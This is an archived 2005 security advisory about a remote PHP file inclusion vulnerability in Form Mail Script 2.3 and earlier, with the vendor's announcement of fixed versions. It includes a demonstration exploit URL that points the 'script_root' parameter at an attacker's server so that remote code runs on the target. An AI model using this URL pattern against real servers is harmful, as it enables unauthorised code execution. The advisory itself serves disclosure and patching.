(Vendor Issues Fix) Form Mail Script Lets Remote Users Include and Execute Arbitrary PHP Code
|
|
SecurityTracker Alert ID: 1013391 |
|
SecurityTracker URL: http://securitytracker.com/id/1013391
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 7 2005
|
Impact:
Execution of arbitrary code via network, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes
|
Version(s): 2.3 and prior versions
|
Description:
A vulnerability was reported in Form Mail Script. A remote user can execute arbitrary commands on the target system.
The 'inc/formmail.inc.php' script does not properly validate user-supplied input in the 'script_root' parameter. A remote user can supply a specially crafted URL to cause the target server to include and execute arbitrary PHP code from a remote server. The code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[dir]/inc/formmail.inc.php?script_root=http://[attacker]/
This exploit works if register_globals and allow_url_fopen are set to 'on'.
The vendor has been notified.
Filip Groszynski reported this vulnerability.
|
Impact:
A remote user can execute arbitrary PHP code and operating commands on the target system with the privileges of the target web service.
|
Solution:
The vendor has issued a fixed version (2.4), available at:
http://www.stadtaus.com/en/php_scripts/formmail_script/
|
Vendor URL: www.stadtaus.com/php_scripts/formmail_script/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
This archive entry is a follow-up to the message listed below.
|
Source Message Contents
|
Date: Mon, 7 Mar 2005 16:33:10 -0500
Subject: http://www.stadtaus.com/forum/p-5887.html
|
> Today we have been noticed that our Form Mail Script, Tell A Friend Script and
> Download Center Lite have a remote PHP file include vulnerability. That means that
> under certain circumstances a third party can include arbitrary PHP code.
>
> We already have fixed that security hole. The new versions are available for
> download:
>
> Form Mail Script v2.4 (http://www.stadtaus.com/en/php_scripts/formmail_script/)
> Tell A Friend Script v2.7 (http://www.stadtaus.com/en/php_scripts/tell_a_friend_script/)
> Download Center Lite v1.6 (http://www.stadtaus.com/en/php_scripts/download_center_lite/)
|
|
